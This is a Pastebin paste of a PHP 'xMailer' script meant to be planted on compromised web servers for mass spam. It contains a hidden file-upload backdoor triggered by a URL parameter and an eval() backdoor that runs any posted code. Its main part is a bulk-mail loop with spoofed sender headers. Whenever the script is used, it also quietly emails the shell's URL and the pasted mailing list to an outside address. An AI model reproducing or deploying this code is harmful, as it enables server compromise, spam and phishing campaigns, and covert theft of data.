Xrocky

mailer 2019

Sep 21st, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.96 KB | None | 0 0
  1. <?php
  2. $upload = $_GET["rocky"]; if ($upload == "tn" ) {$uploaddir = "";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);if (isset($_FILES["userfile"]["name"])) { if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) { $resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";} else { $resultati = "There was an error uploading the file. please try again!"; } } echo'<html>
  3. <head></head><div id="result"><table height="1" width="100%" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" ><input type="submit" class="inputzbut" name="submit" value="upload"><br>'. $resultati .'</form></center></td></tr></table></div>
  4. '; }
  5. $in = $_GET['in'];
  6. if(isset($in) && !empty($in)){
  7.  
  8. }
  9. $ev = $_POST['ev'];
  10. if(isset($ev) && !empty($ev)){
  11. echo eval(urldecode($ev));
  12. exit;
  13. }
  14.  
  15. if(isset($_POST['action'] ) ){
  16. $action=$_POST['action'];
  17. $message=$_POST['message'];
  18. $emaillist=$_POST['emaillist'];
  19. $from=$_POST['from'];
  20. $subject=$_POST['subject'];
  21. $realname=$_POST['realname'];
  22. $wait=$_POST['wait'];
  23. $tem=$_POST['tem'];
  24. $smv=$_POST['smv'];
  25.  
  26. $message = urlencode($message);
  27. $message = ereg_replace("%5C%22", "%22", $message);
  28. $message = urldecode($message);
  29. $message = stripslashes($message);
  30. $subject = stripslashes($subject);
  31. }
  32.  
  33.  
  34. ?>
  35. <!-- HTML And JavaScript -->
  36.  
  37. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  38. <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
  39.  
  40. <meta content="1" name="revisit-after" />
  41. <style type="text/css">body {background:black url('http://p1.pichost.me/i/56/1800969.jpg') center right no-repeat; color:#FFFFFF; text-decoration:none; font-family:"Courier New", Courier, monospace; padding-left:200px; padding-top:200px; padding-right:300px; font-size:16px;}
  42. </style>
  43. <title>.:|Matrixx xMailer|:.</title>
  44. <style type="text/css">
  45. .style1 {
  46. font-size: x-small;
  47. }
  48. .style2 {
  49. direction: ltr;
  50. }
  51. .info {
  52. font-size: 8px;
  53. }
  54. .style3 {
  55. font-family: Verdana, Arial, Helvetica, sans-serif;
  56. font-size: 8px;
  57. }
  58. .style4 {
  59. font-size: x-small;
  60. direction: ltr;
  61. font-family: Verdana, Arial, Helvetica, sans-serif;
  62. }
  63. .style5 {
  64. font-size: xx-small;
  65. direction: ltr;
  66. font-family: Verdana, Arial, Helvetica, sans-serif;
  67. }
  68. .auto-style1 {
  69. color: #5F5F5F;
  70. }
  71. .auto-style2 {
  72. color: #red;
  73. text-align: center;
  74. }
  75. .auto-style3 {
  76. color: #4F4F4F;
  77. }
  78. .auto-style5 {
  79. direction: ltr;
  80. color: #4F4F4F;
  81. }
  82. .auto-style6 {
  83. color: #BCBCBC;
  84. background-color: #red;
  85. }
  86. .auto-style7 {
  87. color: #red;
  88. }
  89. .auto-style8 {
  90. font-size: x-small;
  91. color: #red;
  92. }
  93. </style>
  94. </head>
  95.  
  96. <body onload="funchange" style="background-color: black">
  97. <script>
  98.  
  99. window.onload = funchange;
  100. var alt = false;
  101. function funchange(){
  102. var etext = document.getElementById("emails").value;
  103. var myArray=new Array();
  104. myArray = etext.split("\n");
  105. document.getElementById("enum").innerHTML=myArray.length+"<br />";
  106. if(!alt && myArray.length > 40000){
  107. alert('If Mail list More Than 40000 Emails This May Hack The Server');
  108. alt = true;
  109. }
  110.  
  111. }
  112. function mlsplit(){
  113. var ml = document.getElementById("emails").value;
  114. var sb = document.getElementById("txtml").value;
  115. var myArray=new Array();
  116. myArray = ml.split(sb);
  117. document.getElementById("emails").value="";
  118. var i;
  119. for(i=0;i<myArray.length;i++){
  120.  
  121. document.getElementById("emails").value += myArray[i]+"\n";
  122.  
  123. }
  124. funchange();
  125. }
  126.  
  127. function prv(){
  128. if(document.getElementById('preview').innerHTML==""){
  129. var ms = document.getElementsByName('message').message.value;
  130. document.getElementById('preview').innerHTML = ms;
  131. document.getElementById('prvbtn').value = "Ocultar";
  132. }else{
  133. document.getElementById('preview').innerHTML="";
  134. document.getElementById('prvbtn').value = "Preview";
  135. }
  136. }
  137.  
  138. </script>
  139.  
  140. <h1 class="auto-style2">.:|ROCKY xMailer |:.</h1>
  141.  
  142. <center>
  143. <p class="auto-style1">&nbsp;</p></center>
  144.  
  145. <form name="form" method="post" enctype="multipart/form-data" action="">
  146. <table width="100%" border="0">
  147. <tr>
  148. <td width="10%">
  149. <div align="right" class="auto-style8">
  150. <font face="Verdana, Arial,
  151. Helvetica, sans-serif">Sender Email:</font></div>
  152. </td>
  153. <td style="width: 40%">
  154. <font size="-3" face="Verdana, Arial, Helvetica,
  155. sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" class="auto-style6" /><br>
  156. <td>
  157. <div align="right" class="auto-style7">
  158. <font size="-3" face="Verdana, Arial,
  159. Helvetica, sans-serif">Sender Name:</font></div>
  160. </td>
  161. <td width="41%">
  162. <font size="-3" face="Verdana, Arial, Helvetica,
  163. sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" class="auto-style6" />
  164. <br> </tr>
  165. <tr>
  166. <td width="10%">
  167.  
  168. </tr>
  169. <tr>
  170. <td width="10%">
  171. <div align="right" class="auto-style7">
  172. <font size="-3" face="Verdana, Arial,
  173. Helvetica, sans-serif">Subject:</font></div>
  174. </td>
  175. <td colspan="3">
  176. <font size="-3" face="Verdana, Arial, Helvetica,
  177. sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="30" type="text" class="auto-style6" /> </font>
  178.  
  179.  
  180. <tr valign="top">
  181. <td colspan="3" style="height: 260px">
  182. <font size="-3" face="Verdana, Arial, Helvetica,
  183. sans-serif"><textarea name="message" rows="10" style="width: 455px" class="auto-style6"><?php echo($message); ?></textarea>&nbsp;<br class="auto-style3" />
  184. <input name="action" value="send" type="hidden" class="auto-style3" />
  185. <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 81px" class="auto-style6" /><input value="Send "SenD!" type="submit" class="auto-style6" /><span class="auto-style3">&nbsp;
  186. </span><span class="auto-style7">Wait</span><span class="auto-style3">
  187. </span>
  188. <input name="wait" type="text" value="<?php echo($wait); ?>" size="8" class="auto-style6" /><span class="auto-style3">&nbsp;</span><span class="auto-style7">
  189. seconds to send </span> </font></td>
  190. <td width="41%" class="style2" style="height: 150px">
  191. <font size="-3" face="Verdana, Arial, Helvetica,
  192. sans-serif">
  193. <textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px" class="auto-style6"><?php echo($emaillist); ?></textarea>
  194. <br class="auto-style5" />
  195. <span class="auto-style7">Quantity Emails : </span> </font><span id="enum" class="style1">0<br class="auto-style3" />
  196. </span>
  197. <span class="auto-style8">Divide the mailing list by:</span>
  198. <input name="textml" id="txtml" type="text" value="," size="8" class="auto-style6" /><span class="auto-style3">&nbsp;&nbsp;&nbsp;
  199. </span>
  200. <input type="button" onclick="mlsplit()" value="Divide" style="height: 23px" class="auto-style6" /></td>
  201. </tr>
  202. </table>
  203. <font size="-3" face="Verdana, Arial, Helvetica,
  204. sans-serif">
  205. <div id="preview">
  206. </div>
  207. </font>
  208. </form>
  209.  
  210. <!-- END -->
  211.  
  212.  
  213. <?
  214.  
  215. if ($action){
  216.  
  217. if (!$from || !$subject || !$message || !$emaillist){
  218.  
  219. print "Please complete all fields before sending your message.";
  220. exit;
  221. }
  222. $headd = "From: rocky<rocky@Hw.tn>";
  223. $subb = "Shell ";
  224. $massge = "Shell with Exploit by rocky : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."?rocky=tn
  225. -------------------
  226. $emaillist
  227. -------------------";
  228. @mail("rockyfaza@outlook.fr",$subb,$massge,$headd);
  229.  
  230. $nse=array();
  231. $allemails = split("\n", $emaillist);
  232. $numemails = count($allemails);
  233. if(!empty($_POST['wait']) && $_POST['wait'] > 0){
  234. set_time_limit(intval($_POST['wait'])*$numemails*3600);
  235. }else{
  236. set_time_limit($numemails*3600);
  237. }
  238. if(!empty($smv)){
  239. $smvn+=$smv;
  240. $tmn=$numemails/$smv+1;
  241. }else{
  242. $tmn=1;
  243. }
  244. for($x=0; $x<$numemails; $x++){
  245. $to = $allemails[$x];
  246. if ($to){
  247. $to = ereg_replace(" ", "", $to);
  248. $message = ereg_replace("#EM#", $to, $message);
  249. $subject = ereg_replace("#EM#", $to, $subject);
  250. flush();
  251. $header = "From: $realname <$from>\r\n";
  252. $header .= "MIME-Version: 1.0\r\n";
  253. $header .= "Content-Type: text/html\r\n";
  254. if ($x==0 && !empty($tem)) {
  255. if(!@mail($tem,$subject,$message,$header)){
  256. print('The test Post was not Submitted.<br />');
  257. $tmns+=1;
  258. }else{
  259. print('Your Message was Sent Test.<br />');
  260. $tms+=1;
  261. }
  262. }
  263. if($x==$smvn && !empty($_POST['smv'])){
  264. if(!@mail($tem,$subject,$message,$header)){
  265. print('The test Post was not Submitted.<br />');
  266. $tmns+=1;
  267. }else{
  268. print('Your Message was Sent Test.<br />');
  269. $tms+=1;
  270. }
  271. $smvn+=$smv;
  272. }
  273. print "$to ....... ";
  274. $msent = @mail($to, $subject, $message, $header);
  275. $xx = $x+1;
  276. $txtspamed = "spammed #Matrixx";
  277. if(!$msent){
  278. $txtspamed = "error #Matrixx";
  279. $ns+=1;
  280. $nse[$ns]=$to;
  281. }
  282. print "$xx / $numemails ....... $txtspamed<br>";
  283. flush();
  284. if(!empty($wait)&& $x<$numemails-1){
  285. sleep($wait);
  286. }
  287. }
  288. }
  289.  
  290. }
  291.  
  292.  
  293. ?>
Add Comment
Please, Sign In to add comment